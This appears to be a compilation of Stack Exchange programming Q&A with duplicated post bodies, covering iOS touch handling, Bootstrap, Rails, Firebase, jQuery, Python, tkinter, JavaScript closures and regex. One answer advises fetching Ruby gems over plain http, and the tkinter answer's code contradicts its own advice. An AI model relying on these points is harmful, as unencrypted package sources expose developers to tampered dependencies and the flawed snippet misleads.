问:
iphone keyboard touch events
I need to be able to detect touch events on the keyboard.  I have an app which shows a screen which occurs after a certain period of inactivity (i.e. no touch events)  To solve this issue, I have subclassed my UIWindow and implemented the sendEvent function, which allows me to get touch events on the whole application by implementing the method in one place.  This works everywhere beside when the keyboard is presented and the user is typing on the keyboard.  What I need to know is that is there a way to detect touch events on the keyboard, kind of like what sentEvent does for uiWindow.  Thanks in advance.</p>

答:
iPhoneDev:  here is what I am doing.

I have a custom UIWindow object.  In this object, there is a NSTimer that is reset whenever there is a touch.  To get this touch you have to override the sendEvent method of UIWindow.

this is what the sendEvent method looks like in my custom window class:

```<code>- (void)sendEvent:(UIEvent *)event
{
    if([super respondsToSelector: @selector(sendEvent:)])
    {
      [super sendEvent:event];
    }
    else
    {
        NSLog(@"%@", @"CUSTOM_Window super does NOT respond to selector sendEvent:!");
        ASSERT(false);
     }

     // Only want to reset the timer on a Began touch or an Ended touch, to reduce the number of timer resets.
     NSSet *allTouches = [event allTouches];
     if ([allTouches count] > 0)
     {
        // anyObject works here.
        UITouchPhase phase = ((UITouch *)[allTouches anyObject]).phase;
        if (phase == UITouchPhaseBegan || phase == UITouchPhaseEnded)
        {
           [self resetIdleTimer];
        }
     }
}
</code>```

here is the resetIdleTimer:

```<code>- (void)resetIdleTimer
{
    if (self.idleTimer)
    {
        [self.idleTimer invalidate];
    }
    self.idleTimer = [NSTimer scheduledTimerWithTimeInterval:PASSWORD_TIMEOUT_INTERVAL target:self selector:@selector(idleTimerExceeded) userInfo:nil repeats:NO];
}
</code>```

after this, in the idleTimerExceeded, I send a message to the window delegates, (in this case, the appDelegate).

```<code>- (void)idleTimerExceeded
{
    [MY_CUSTOM_WINDOW_Delegate idleTimeLimitExceeded];
}
</code>```

When I create this custom window object in the appDelegate, I set the appDelegate as the delegate for this window.  And in the appDelegate definition of idleTimeLimitExceeded is where I do what I have to when the timer expires.  They key thing is the create the custom window and override the sendEvent function.  Combine this with the two keyboard notification shown above I added in the init method of the custom window class and you should be able to get 99% of all touch events on screen anywhere in the application.

Title: iphone keyboard touch events

Body:
iPhoneDev:  here is what I am doing.

I have a custom UIWindow object.  In this object, there is a NSTimer that is reset whenever there is a touch.  To get this touch you have to override the sendEvent method of UIWindow.

this is what the sendEvent method looks like in my custom window class:

- (void)sendEvent:(UIEvent *)event
{
    if([super respondsToSelector: @selector(sendEvent:)])
    {
      [super sendEvent:event];
    }
    else
    {
        NSLog(@"%@", @"CUSTOM_Window super does NOT respond to selector sendEvent:!");
        ASSERT(false);
     }

     // Only want to reset the timer on a Began touch or an Ended touch, to reduce the number of timer resets.
     NSSet *allTouches = [event allTouches];
     if ([allTouches count] > 0)
     {
        // anyObject works here.
        UITouchPhase phase = ((UITouch *)[allTouches anyObject]).phase;
        if (phase == UITouchPhaseBegan || phase == UITouchPhaseEnded)
        {
           [self resetIdleTimer];
        }
     }
}

here is the resetIdleTimer:

- (void)resetIdleTimer
{
    if (self.idleTimer)
    {
        [self.idleTimer invalidate];
    }
    self.idleTimer = [NSTimer scheduledTimerWithTimeInterval:PASSWORD_TIMEOUT_INTERVAL target:self selector:@selector(idleTimerExceeded) userInfo:nil repeats:NO];
}

after this, in the idleTimerExceeded, I send a message to the window delegates, (in this case, the appDelegate).

- (void)idleTimerExceeded
{
    [MY_CUSTOM_WINDOW_Delegate idleTimeLimitExceeded];
}

When I create this custom window object in the appDelegate, I set the appDelegate as the delegate for this window.  And in the appDelegate definition of idleTimeLimitExceeded is where I do what I have to when the timer expires.  They key thing is the create the custom window and override the sendEvent function.  Combine this with the two keyboard notification shown above I added in the init method of the custom window class and you should be able to get 99% of all touch events on screen anywhere in the application.


来源: stackexchange

问:
How do you change the width and height of Twitter Bootstrap's tooltips?
I created a tooltip using Twitter Bootstrap.

The tooltip is displaying with three lines. However, I would like to display the tooltip with only one line.

How do I change the width of the tooltip? Is this specific to Twitter Bootstrap or to tooltips themselves?

答:
after some experimenting, this worked best for me:</p>

```<code>.tooltip-inner {
    max-width: 350px; /* set this to your maximum fitting width */
    width: inherit; /* will take up least amount of space */
}
</code>```

ContentLicense: CC BY-SA 3.0

Body:
after some experimenting, this worked best for me:

.tooltip-inner {
    max-width: 350px; /* set this to your maximum fitting width */
    width: inherit; /* will take up least amount of space */
}


问:
Cannot start rails server
I tried to rails server

= Could not find rake-12.0.0 in any of the sources
    Run bundle install to install missing gems.

I tried to bundle update/ install
It goes to the error msg below .

答: Try changing your Gemfile line from source 'https://rubygems.org' to source 'http://rubygems.org'

Title: Cannot start rails server


问:
Required NSSlider method (sliderDidMove) declaration not found on Apple's Developer Documentation
Working on a tutorial with a NSSlider.

What I want: Moving the slider will show slider value in NSTextField.

Tutorial explains that following method will show slider value in text field:

```<code>- (IBAction)sliderDidMove:(id)sender {
    NSSlider *slider = sender;
    double value = [slider doubleValue];
    [sliderValueLabel setDoubleValue:value];
}
</code>```

Method does not work so I tried to find the method declaration on Apples developer website
but couldn't find it. From my understanding is the method: sliderDidMove a class method
from the class NSSlider so why I'm unable to find any documentation?

答:
In Swift ...

```<code> // Somewhere maybe in viewDidLoad ...
        slider.target = self
        slider.action = #selector(sliderDidMove)

// Later on..

func sliderDidMove(){
    print("The slider moved!")
}
</code>```

Body:
Working on a tutorial with a NSSlider.

What I want: Moving the slider will show slider value in NSTextField.

Tutorial explains that following method will show slider value in text field:

- (IBAction)sliderDidMove:(id)sender {
    NSSlider *slider = sender;
    double value = [slider doubleValue];
    [sliderValueLabel setDoubleValue:value];
}

Method does not work so I tried to find the method declaration on Apples developer website
but couldn't find it. From my understanding is the method: sliderDidMove a class method
from the class NSSlider so why I'm unable to find any documentation?

Body:
In Swift ...

 // Somewhere maybe in viewDidLoad ...
        slider.target = self
        slider.action = #selector(sliderDidMove)

// Later on..

func sliderDidMove(){
    print("The slider moved!")
}


问:
java.lang.ArrayIndexOutOfBoundsException error when trying to show listview from Firebase
I am building an app where the user can store data into a firebase database and can access it through a listview on the logbook fragment, so at the start I store the data in a hash map in the input activity:

```<code>String BloodLevels = (bgET.getText().toString());
            String Carbohydrates = (carbET.getText().toString());
            String InsulinTaken = (insulinET.getText().toString());
            String DateandTime = DateFormat.getDateTimeInstance().format(new Date());

            HashMap<String, String> dataMap = new HashMap<String, String>();
            dataMap.put("DateandTime", DateandTime);
            dataMap.put("BloodLevels", BloodLevels);
            dataMap.put("Carbohydrates", Carbohydrates);
            dataMap.put("Insulin", InsulinTaken);

            dataRef.push().setValue(dataMap).addOnCompleteListener(new OnCompleteListener<Void>() {
                @Override
                public void onComplete(@NonNull Task<Void> task) {

                    if (task.isSuccessful()){

                        progress.dismiss();

                        Toast.makeText(InputActivity.this, "Your Data Has Been Saved", Toast.LENGTH_SHORT).show();
                        Intent intent = new Intent(InputActivity.this, MainActivity.class);
                        startActivity(intent);
                        finish();

                    }else{

                        progress.dismiss();

                        Toast.makeText(InputActivity.this, "Error: Your data could not be saved", Toast.LENGTH_SHORT).show();
                    }
</code>```

Then I try to call the data in a listview in the logbook fragment:

```<code>public void onActivityCreated(Bundle savedInstanceState) {
    getActivity().setTitle("Logbook");
    super.onActivityCreated(savedInstanceState);
    databaseQuery = FirebaseDatabase.getInstance().getReference().child("Entries");

    databaseQuery.addChildEventListener(new ChildEventListener() {
        @Override
        public void onChildAdded(DataSnapshot dataSnapshot, String s) {
            HashMap<String, String> map = (HashMap<String, String>) dataSnapshot.getValue();
            ListView listView = (ListView) getActivity().findViewById(R.id.entriesList);
            List<HashMap<String,String>> listitems = new ArrayList<>();
            SimpleAdapter adapter = new SimpleAdapter(getActivity(),listitems,R.layout.list_item_log,
                    new String[]{"First Line", "Second Line, Third Line, Fourth Line"},
                    new int[]{R.id.text1, R.id.text2, R.id.text3, R.id.text4});
            Iterator it = map.entrySet().iterator();
            while (it.hasNext()){
                HashMap<String, String> resultsMap = new HashMap<>();
                Map.Entry pair = (Map.Entry)it.next();
                resultsMap.put("First Line", pair.getKey().toString());
                resultsMap.put("Second Line", pair.getValue().toString());
                resultsMap.put("Third Line", pair.getKey().toString());
                resultsMap.put("Fourth Line", pair.getValue().toString());
                resultsMap.put("Fifth Line", pair.getKey().toString());
                resultsMap.put("Sixth Line", pair.getValue().toString());
                resultsMap.put("Seventh Line", pair.getKey().toString());
                resultsMap.put("Eighth Line", pair.getValue().toString());
                listitems.add(resultsMap);
            }
            listView.setAdapter(adapter);
        }
</code>```

With this being the layout I use on the listview:

```<code><?xml version="1.0" encoding="utf-8"?>
<LinearLayout      xmlns:android="http://schemas.android.com/apk/res/android"
android:orientation="vertical" android:layout_width="match_parent"
android:layout_height="match_parent">\

<TextView
    android:layout_width="match_parent"
    android:layout_height="wrap_content"
    android:id="@+id/text1"
    android:textColor="@color/textDark"
    android:textSize="14dp"
    android:textStyle="bold"/>
<TextView
    android:layout_width="match_parent"
    android:layout_height="wrap_content"
    android:id="@+id/text2"
    android:textColor="@color/textDark"
    android:textSize="14dp"/>
<TextView
    android:layout_width="match_parent"
    android:layout_height="wrap_content"
    android:id="@+id/text3"
    android:textColor="@color/textDark"
    android:textSize="14dp"/>
<TextView
    android:layout_width="match_parent"
    android:layout_height="wrap_content"
    android:id="@+id/text4"
    android:textColor="@color/textDark"
    android:textSize="14dp"/>

</LinearLayout>
</code>```

But when I launch the app I get this error and the app crashes:

```<code>E/AndroidRuntime: FATAL EXCEPTION: main
Process: com.kenjasim.glucosehelper, PID: 10154   java.lang.ArrayIndexOutOfBoundsException: length=2; index=2
</code>```

So I have no idea how to fix this problem and would appreciate any help that I could get on this. Thank you

答:
The partial error message doesn't reveal too much, but I expect this is an error in the constructor of your SimpleAdapter.

```<code>SimpleAdapter adapter = new SimpleAdapter(getActivity(),listitems,R.layout.list_item_log,
    new String[]{"First Line", "Second Line, Third Line, Fourth Line"},
    new int[]{R.id.text1, R.id.text2, R.id.text3, R.id.text4});
</code>```

It looks like the intention is to have an array of 4 Strings, but with the arrangement of the quote marks, "Second Line, Third Line, Fourth Line" is a single String, meaning there are only two Strings in the array.

Try:

```<code>SimpleAdapter adapter = new SimpleAdapter(getActivity(),listitems,R.layout.list_item_log,
    new String[]{"First Line", "Second Line", "Third Line", "Fourth Line"},
    new int[]{R.id.text1, R.id.text2, R.id.text3, R.id.text4});
</code>```

Body:
I am building an app where the user can store data into a firebase database and can access it through a listview on the logbook fragment, so at the start I store the data in a hash map in the input activity:

String BloodLevels = (bgET.getText().toString());
            String Carbohydrates = (carbET.getText().toString());
            String InsulinTaken = (insulinET.getText().toString());
            String DateandTime = DateFormat.getDateTimeInstance().format(new Date());

            HashMap<String, String> dataMap = new HashMap<String, String>();
            dataMap.put("DateandTime", DateandTime);
            dataMap.put("BloodLevels", BloodLevels);
            dataMap.put("Carbohydrates", Carbohydrates);
            dataMap.put("Insulin", InsulinTaken);

            dataRef.push().setValue(dataMap).addOnCompleteListener(new OnCompleteListener<Void>() {
                @Override
                public void onComplete(@NonNull Task<Void> task) {

                    if (task.isSuccessful()){

                        progress.dismiss();

                        Toast.makeText(InputActivity.this, "Your Data Has Been Saved", Toast.LENGTH_SHORT).show();
                        Intent intent = new Intent(InputActivity.this, MainActivity.class);
                        startActivity(intent);
                        finish();

                    }else{

                        progress.dismiss();

                        Toast.makeText(InputActivity.this, "Error: Your data could not be saved", Toast.LENGTH_SHORT).show();
                    }

Then I try to call the data in a listview in the logbook fragment:

public void onActivityCreated(Bundle savedInstanceState) {
    getActivity().setTitle("Logbook");
    super.onActivityCreated(savedInstanceState);
    databaseQuery = FirebaseDatabase.getInstance().getReference().child("Entries");

    databaseQuery.addChildEventListener(new ChildEventListener() {
        @Override
        public void onChildAdded(DataSnapshot dataSnapshot, String s) {
            HashMap<String, String> map = (HashMap<String, String>) dataSnapshot.getValue();
            ListView listView = (ListView) getActivity().findViewById(R.id.entriesList);
            List<HashMap<String,String>> listitems = new ArrayList<>();
            SimpleAdapter adapter = new SimpleAdapter(getActivity(),listitems,R.layout.list_item_log,
                    new String[]{"First Line", "Second Line, Third Line, Fourth Line"},
                    new int[]{R.id.text1, R.id.text2, R.id.text3, R.id.text4});
            Iterator it = map.entrySet().iterator();
            while (it.hasNext()){
                HashMap<String, String> resultsMap = new HashMap<>();
                Map.Entry pair = (Map.Entry)it.next();
                resultsMap.put("First Line", pair.getKey().toString());
                resultsMap.put("Second Line", pair.getValue().toString());
                resultsMap.put("Third Line", pair.getKey().toString());
                resultsMap.put("Fourth Line", pair.getValue().toString());
                resultsMap.put("Fifth Line", pair.getKey().toString());
                resultsMap.put("Sixth Line", pair.getValue().toString());
                resultsMap.put("Seventh Line", pair.getKey().toString());
                resultsMap.put("Eighth Line", pair.getValue().toString());
                listitems.add(resultsMap);
            }
            listView.setAdapter(adapter);
        }

With this being the layout I use on the listview:

<?xml version="1.0" encoding="utf-8"?>
<LinearLayout      xmlns:android="http://schemas.android.com/apk/res/android"
android:orientation="vertical" android:layout_width="match_parent"
android:layout_height="match_parent">\

<TextView
    android:layout_width="match_parent"
    android:layout_height="wrap_content"
    android:id="@+id/text1"
    android:textColor="@color/textDark"
    android:textSize="14dp"
    android:textStyle="bold"/>
<TextView
    android:layout_width="match_parent"
    android:layout_height="wrap_content"
    android:id="@+id/text2"
    android:textColor="@color/textDark"
    android:textSize="14dp"/>
<TextView
    android:layout_width="match_parent"
    android:layout_height="wrap_content"
    android:id="@+id/text3"
    android:textColor="@color/textDark"
    android:textSize="14dp"/>
<TextView
    android:layout_width="match_parent"
    android:layout_height="wrap_content"
    android:id="@+id/text4"
    android:textColor="@color/textDark"
    android:textSize="14dp"/>

</LinearLayout>

But when I launch the app I get this error and the app crashes:

E/AndroidRuntime: FATAL EXCEPTION: main
Process: com.kenjasim.glucosehelper, PID: 10154   java.lang.ArrayIndexOutOfBoundsException: length=2; index=2

So I have no idea how to fix this problem and would appreciate any help that I could get on this. Thank you

Body:
The partial error message doesn't reveal too much, but I expect this is an error in the constructor of your SimpleAdapter.

SimpleAdapter adapter = new SimpleAdapter(getActivity(),listitems,R.layout.list_item_log,
    new String[]{"First Line", "Second Line, Third Line, Fourth Line"},
    new int[]{R.id.text1, R.id.text2, R.id.text3, R.id.text4});

It looks like the intention is to have an array of 4 Strings, but with the arrangement of the quote marks, "Second Line, Third Line, Fourth Line" is a single String, meaning there are only two Strings in the array.

Try:

SimpleAdapter adapter = new SimpleAdapter(getActivity(),listitems,R.layout.list_item_log,
    new String[]{"First Line", "Second Line", "Third Line", "Fourth Line"},
    new int[]{R.id.text1, R.id.text2, R.id.text3, R.id.text4});


问:
PHP Handling Jquery $.post()
I am trying to make a chat program, but am stuck on probably the most simple aspect of php.
I have the following code in app.js

```<code>var msg = "123";
$.post('index.php', {send: msg});
</code>```

and the following in index.php

```<code><?php
switch($_SERVER['REQUEST_METHOD'])
{
  case 'GET':
      echo "<script type='text/javascript'>alert('GET');</script>";
      break;

  case 'POST':
    $msg = $_POST['send'];
    echo "<script type='text/javascript'>alert('POST');</script>";

}
?>
</code>```

The code only alerts me about the 'GET' request I receive when loading the page. Whenever I call the $.post function in app.js nothing happens. I don't know if there's an issue with the server or if I linked to my index.php file wrong in the request?

答:
The issue is that the jquery $.post function will send the request to the website, but then won't magically display the website output - if you don't tell it to do something with the output from the call it won't do anything.

To get it to output the response from the site, try doing something like this:

```<code>var msg = "123";

$.post('index.php', {send: msg}, function(response) {
    alert(response);
});
</code>```

This provides a callback function to the jQuery POST request to instruct it on how to handle the response from the website.

jQuery post documentation

Example

Title: PHP Handling Jquery $.post()

Body:
I am trying to make a chat program, but am stuck on probably the most simple aspect of php.
I have the following code in app.js

var msg = "123";
$.post('index.php', {send: msg});

and the following in index.php

<?php
switch($_SERVER['REQUEST_METHOD'])
{
  case 'GET':
      echo "";
      break;

  case 'POST':
    $msg = $_POST['send'];
    echo "";

}
?>

The code only alerts me about the 'GET' request I receive when loading the page. Whenever I call the $.post function in app.js nothing happens. I don't know if there's an issue with the server or if I linked to my index.php file wrong in the request?

Body:
The issue is that the jquery $.post function will send the request to the website, but then won't magically display the website output - if you don't tell it to do something with the output from the call it won't do anything.

To get it to output the response from the site, try doing something like this:

var msg = "123";

$.post('index.php', {send: msg}, function(response) {
    alert(response);
});

This provides a callback function to the jQuery POST request to instruct it on how to handle the response from the website.

jQuery post documentation

Example


问:
Firebase FCM InternalServerError
I implemented Firebase FCM in my app about a month ago, and it has worked great ever since, until today. When I am trying to send a push notification from my console, nothing ever shows up. I find this very strange considering it worked before I went to bed yesterday. I do also have a PHP script that sends push notifications (FCM) as well, which also was working - but when I try to use this to send a push notification, I get this:

{"multicast_id":5593178441415796544,"success":0,"failure":1,"canonical_ids":0,"results":[{"error":"InternalServerError"}]}

I find this very strange. I Googled this, and I read something about re-generating my APNS certificates (because they might be wrong or something), which I thought was weird as well, due to the fact that I created new certificates yesterday as well (which was working). Now I have once again tried to delete, and generate new - without any luck.

I also want to point out that when I go to my 'Cloud messaging' tab in Firebase, to configure my certificates, I am unable to delete - only re-upload.

What could this possibly be? I have checked my certificates and my API key is correct. It was working 100% 10 hours ago.

Could this be a Firebase problem, or how would I solve this? Help is much appreciated.

答:
Most of the InternalServerError returned by FCM before February 2017,

were due to issues with the APNs certificates.

The API has now been updated.
Now if there an issue with the APNs certificate,

FCM will return error:InvalidApnsCredential

Title: Firebase FCM InternalServerError


问:
python not iterating through the rest of array
I have a few loops nested into each other and I'll post the relevant code then explain:

```<code>ANN = ['array','of','fourteen','people']
COUNT = 14

for i in range(COUNT):
    CNT = i
    print CNT
    for i in ANN:
        ANNOTATOR = i
        for row in PRGREADER:
            print row
            if (ANNOTATOR in row[2]) and (WEEK in row[3]):
                if PRGFILE.strip('.csv') not in ANNODAT[CNT][0]:
                    ANNODAT[CNT][0].append(PRGFILE.strip('.csv'))
</code>```

This chunk of code is supposed to read a csv file(read into PRGREADER), check and see if the current value of ANN and a week number are on that row. If they are, it takes the name of the file and stores it in an array.

I've narrowed it down to realizing it iterates through COUNT, it iterates through ANN, but after that it only performs the rest of this code on the first iteration through ANN and no one else. Why is this not performing the rest of the nested code after the first iteration of ANN?

edit adding the creation of PRGREADER

```<code>for filename in os.listdir('progress/'):
    if filename.endswith('.csv'):
        PRGFILES.append(filename)

for i in PRGFILES:
    PRGFILE = i
    with open('./progress/' + PRGFILE,'rb') as PROGRESS:
        PROGRESS = [element.upper() for element in PROGRESS]
        PRGREADER = csv.reader(PROGRESS, delimiter = ',', quotechar = '|')
</code>```

答:
Your issue has to do with iterating over the same csv.reader object several times. A reader object is an iterator, so after you've iterated over it once, you won't get any more results trying to iterate more, since it's been exhausted. You either need to recreate your reader each time through the loop, or reorganize your code so that that you don't need to iterate on it several times (for instance, making it the outer loop rather than the inner one).

There are a number of other issues with your code that you may also want to change. For instance, you repeatedly use for i in something, then immediately bind some other name to i. You should simply put that other name directly into the loop (e.g. for CNT in range(...)). I'd also suggest following a better variable name style, such as lower_case_with_underscores for normal variables and reserving ALL_CAPITALS for constants (CapitalizedNames is also conventional for the names of classes, but you don't seem to have any of those).

Body:
I have a few loops nested into each other and I'll post the relevant code then explain:

ANN = ['array','of','fourteen','people']
COUNT = 14

for i in range(COUNT):
    CNT = i
    print CNT
    for i in ANN:
        ANNOTATOR = i
        for row in PRGREADER:
            print row
            if (ANNOTATOR in row[2]) and (WEEK in row[3]):
                if PRGFILE.strip('.csv') not in ANNODAT[CNT][0]:
                    ANNODAT[CNT][0].append(PRGFILE.strip('.csv'))

This chunk of code is supposed to read a csv file(read into PRGREADER), check and see if the current value of ANN and a week number are on that row. If they are, it takes the name of the file and stores it in an array.

I've narrowed it down to realizing it iterates through COUNT, it iterates through ANN, but after that it only performs the rest of this code on the first iteration through ANN and no one else. Why is this not performing the rest of the nested code after the first iteration of ANN?

edit adding the creation of PRGREADER

for filename in os.listdir('progress/'):
    if filename.endswith('.csv'):
        PRGFILES.append(filename)

for i in PRGFILES:
    PRGFILE = i
    with open('./progress/' + PRGFILE,'rb') as PROGRESS:
        PROGRESS = [element.upper() for element in PROGRESS]
        PRGREADER = csv.reader(PROGRESS, delimiter = ',', quotechar = '|')


问:
Tkinter - How to update frames and the parameter between each frame?
I need some help with updating informations between two or more frames in tkinter. I am currelty working on a small project, where I have serval frames with information, each frame is one class.

First frame is a setting frame - so where the user can click some buttons and select several things.
The second frame should show the selected image with the made choices.
So far I can make the choices on the setting page but when i click forward to the result page it shows me empty frames and no image and not the made choices.

I tried to do some shared_data with the information that should be passed between the two frames/classes, so I can acess them on the resultpage but some how it is not updating the information. So it doesn't show me the image because mode on the results page is 0 like at the beginng.

```<code>class xyz (tk.Tk):

   def __init__(self, *args, **kwargs):
      tk.Tk.__init__(self, *args, **kwargs)
      ...
      self.shared_data = {
          "no": tk.IntVar(),
          "selectedname": tk.StringVar(),
          "selectedpath": tk.StringVar(),
          .....
       }

      container = tk.Frame(self)
      container.pack(side="top", fill="both", expand=True)
      container.grid_rowconfigure(0, weight=1)
      container.grid_columnconfigure(0, weight=1)

      self.frames = {}

      for F in (SettingPage, PageResults):
        page_name = F.__name__
        frame = F(container, self)
        self.frames[page_name] = frame
        frame.grid(row=0, column=0, sticky="nsew")

       self.show_frame("SettingPage")

   def show_frame(self, page_name):
       frame = self.frames[page_name]
       frame.tkraise()

class SettingPage(tk.Frame):

   def __init__(self, parent, controller, *args, **kwargs):
      tk.Frame.__init__(self, parent, *args, **kwargs)
      self.controller = controller

      self.controller.shared_data["no"] = 0

      ...

      # after selecting serval buttons
      self.controller.shared_data["no"] = 1

      buttonContinue = ttk.Button(self, text='''CONTINUE >>''', command=lambda: controller.show_frame("PageResults"))
      buttonContinue.place(relx=0.84, rely=0.9, height=43, width=186)

class PageResults(tk.Frame):

  def __init__(self, parent, controller):

      tk.Frame.__init__(self, parent)
      self.controller = controller

      mode =  self.controller.shared_data["no"]

      if mode == 1 :

         #     show image
         #......
</code>```

I can't show you the exact real code I am using so I tried so simplify it. I am new to tkinter so any help would be much apprechiated.

Thank you!!

答:
The problem is because you do this:

```<code>self.shared_data = {
    "no": tk.IntVar(),
    ...
}
</code>```

And then later you do this:

```<code>self.controller.shared_data["no"] = 0
</code>```

So, shared_data["no"] starts out as an IntVar and then you replace it with an integer.

When you use an IntVar you must use the set method to change the value, and the get method to get the value:

```<code>self.controller.shared_data["no"].set(0)
...
if self.controller.shared_data["no"] == 0:
   ...
</code>```

Body:
I need some help with updating informations between two or more frames in tkinter. I am currelty working on a small project, where I have serval frames with information, each frame is one class.

First frame is a setting frame - so where the user can click some buttons and select several things.
The second frame should show the selected image with the made choices.
So far I can make the choices on the setting page but when i click forward to the result page it shows me empty frames and no image and not the made choices.

I tried to do some shared_data with the information that should be passed between the two frames/classes, so I can acess them on the resultpage but some how it is not updating the information. So it doesn't show me the image because mode on the results page is 0 like at the beginng.

class xyz (tk.Tk):

   def __init__(self, *args, **kwargs):
      tk.Tk.__init__(self, *args, **kwargs)
      ...
      self.shared_data = {
          "no": tk.IntVar(),
          "selectedname": tk.StringVar(),
          "selectedpath": tk.StringVar(),
          .....
       }

      container = tk.Frame(self)
      container.pack(side="top", fill="both", expand=True)
      container.grid_rowconfigure(0, weight=1)
      container.grid_columnconfigure(0, weight=1)

      self.frames = {}

      for F in (SettingPage, PageResults):
        page_name = F.__name__
        frame = F(container, self)
        self.frames[page_name] = frame
        frame.grid(row=0, column=0, sticky="nsew")

       self.show_frame("SettingPage")

   def show_frame(self, page_name):
       frame = self.frames[page_name]
       frame.tkraise()

class SettingPage(tk.Frame):

   def __init__(self, parent, controller, *args, **kwargs):
      tk.Frame.__init__(self, parent, *args, **kwargs)
      self.controller = controller

      self.controller.shared_data["no"] = 0

      ...

      # after selecting serval buttons
      self.controller.shared_data["no"] = 1

      buttonContinue = ttk.Button(self, text='''CONTINUE >>''', command=lambda: controller.show_frame("PageResults"))
      buttonContinue.place(relx=0.84, rely=0.9, height=43, width=186)

class PageResults(tk.Frame):

  def __init__(self, parent, controller):

      tk.Frame.__init__(self, parent)
      self.controller = controller

      mode =  self.controller.shared_data["no"]

      if mode == 1 :

         #     show image
         #......

I can't show you the exact real code I am using so I tried so simplify it. I am new to tkinter so any help would be much apprechiated.

Thank you!!

Body:
The problem is because you do this:

self.shared_data = {
    "no": tk.IntVar(),
    ...
}

And then later you do this:

self.controller.shared_data["no"] = 0

So, shared_data["no"] starts out as an IntVar and then you replace it with an integer.

When you use an IntVar you must use the set method to change the value, and the get method to get the value:

self.controller.shared_data["no"].set(0)
...
if self.controller.shared_data["no"] == 0:
   ...


问:
its not printing 0,1,2,3,4,5...10 its printing 10 ten times

I am new to js

I thought below code will output 0,1,2,3,4,5,6,7,8,9 with a gap of 10 ms.

but it's not printing like that it's printing 10 ten times.

is it due to set a timeout or something else?

can you guys tell me why it's happening...it will help me so much with understanding js

for( var i=0; i< 10; i++) {
    setTimeout(function(){
        console.log(i);
    }, 10);

}
```

答:
It's because of closure, you should do something like that

```<code>for( var i=0; i< 10; i++) {
    (function(j){
       setTimeout(function(){ console.log(j); }, 10);
    }(i));
}
</code>```

This is basic javascript closure, you can read more here How do JavaScript closures work?

The problem is that the for loop finishes first, so at the end, i will equal 10. After that, the setTimeout functions will get called and when they check the value of i, they'll find it equal to the last value from the for loop which 10.
What I did is called an IIFE (Immediately Invoked Function Expression) which creates a new variable for the scope of the setTimeout function, so when the timeout comes, it finds its own variable that hasn't changed.

Body:
It's because of closure, you should do something like that

for( var i=0; i< 10; i++) {
    (function(j){
       setTimeout(function(){ console.log(j); }, 10);
    }(i));
}

This is basic javascript closure, you can read more here How do JavaScript closures work?

The problem is that the for loop finishes first, so at the end, i will equal 10. After that, the setTimeout functions will get called and when they check the value of i, they'll find it equal to the last value from the for loop which 10.
What I did is called an IIFE (Immediately Invoked Function Expression) which creates a new variable for the scope of the setTimeout function, so when the timeout comes, it finds its own variable that hasn't changed.


问:
How to remove exterior punctuation from a string using regular expressions
Given a string like below, remove any leading and trailing punctuation via regular expressions:

```<code>String a = "!?Don't.;, .:delete !the@ $actual string%";
String b = "Hyphenated-words, too!";
</code>```

I know that the regex [\P{Alnum}] will target all non-alphanumeric characters, but how do I target ONLY the leading and trailing punctuation so I get...

```<code>a = "Don't delete the actual string";
b = "Hyphenated-words too";
</code>```

... instead of:

```<code>a = "Dont delete the actual string";
b = "Hyphenated words too";
</code>```

I just need the regular expression; not the actual code to remove the punctuation.

答:
There is probably not much left after punct and alnum (except ctrl's).

May as well leverage that by using whitespace boundary's.

Find:

Raw  (?<!\S)(?:\p{punct}*(\p{alnum}+(?:\p{punct}?\p{alnum})*)\p{punct}*|\p{punct}+)(?!\S)

Stringed  "(?<!\\S)(?:\\p{punct}*(\\p{alnum}+(?:\\p{punct}?\\p{alnum})*)\\p{punct}*|\\p{punct}+)(?!\\S)"

Replace "$1"

Explained

```<code> (?<! \S )                             # Whitespace boundary
 (?:                                   # Cluster
      \p{punct}*                            # Optional punct
      (                                     # (1 start), words to be written back
           \p{alnum}+                            # Required, start with alnum
           (?: \p{punct}? \p{alnum} )*           # Optional punct + alnum
      )                                     # (1 end)
      \p{punct}*                            # Optional punct
   |                                      # or,
      \p{punct}+                            # Required punct
 )                                     # End Cluster
 (?! \S )                              # Whitespace boundary
</code>```

Target before

```<code>!?Don't.;, .:delete !the@ ()*& $actual string%
Hyphenated-words,  a)
</code>```

Target after replace

```<code>Don't delete the  actual string
Hyphenated-words  a
</code>```

Body:
Given a string like below, remove any leading and trailing punctuation via regular expressions:

String a = "!?Don't.;, .:delete !the@ $actual string%";
String b = "Hyphenated-words, too!";

I know that the regex [\P{Alnum}] will target all non-alphanumeric characters, but how do I target ONLY the leading and trailing punctuation so I get...

a = "Don't delete the actual string";
b = "Hyphenated-words too";

... instead of:

a = "Dont delete the actual string";
b = "Hyphenated words too";

I just need the regular expression; not the actual code to remove the punctuation.

Body:
There is probably not much left after punct and alnum (except ctrl's).

May as well leverage that by using whitespace boundary's.

Find:

Raw  (?<!\S)(?:\p{punct}*(\p{alnum}+(?:\p{punct}?\p{alnum})*)\p{punct}*|\p{punct}+)(?!\S)

Stringed  "(?<!\\S)(?:\\p{punct}*(\\p{alnum}+(?:\\p{punct}?\\p{alnum})*)\\p{punct}*|\\p{punct}+)(?!\\S)"

Replace "$1"

Explained

 (?<! \S )                             # Whitespace boundary
 (?:                                   # Cluster
      \p{punct}*                            # Optional punct
      (                                     # (1 start), words to be written back
           \p{alnum}+                            # Required, start with alnum
           (?: \p{punct}? \p{alnum} )*           # Optional punct + alnum
      )                                     # (1 end)
      \p{punct}*                            # Optional punct
   |                                      # or,
      \p{punct}+                            # Required punct
 )                                     # End Cluster
 (?! \S )                              # Whitespace boundary

Target before

!?Don't.;, .:delete !the@ ()*& $actual string%
Hyphenated-words,  a)

Target after replace

Don't delete the  actual string
Hyphenated-words  a


问:
What's the difference between CSS UI framework and jQuery UI
I noticed that CSS Framework such as bootstrap and w3.css can create webpage ui widgets such as button.
But Javascript library jQuery-ui can also create button

What's the difference between these two approaches?

答:
The main difference is the author. Another difference might be what components they provide.

They're doing the same thing but just have different authors. Even though Bootstrap is a CSS framework, it's still using JavaScript for some of the interactive elements like "collapse" (which jQuery UI calls "accordion"). Bootstrap wrote their JavaScript to be compatible with jQuery.


问:
Alternative to gets?
I used to use gets but then I heard that it got removed from c11 and that its overall very dangerous.
So I did some searching and found out that you can use fgets() to do the same thing.

The problems is that when I do use fgets() it seems to also copy the end of the line aswell, which ends up making an extra unwanted line.

To show you what I mean:

```<code>//if I have
char key[30];
fgets(key, sizeof(key), stdin);

//now if ender for instance: Doggo and do:
printf("The key is:%s|hozaah!\n", key);

//I expect it to print:
The key is:Doggo|hozaah!

//Instead it prints:
The key is:Doggo
|hozaah!
</code>```

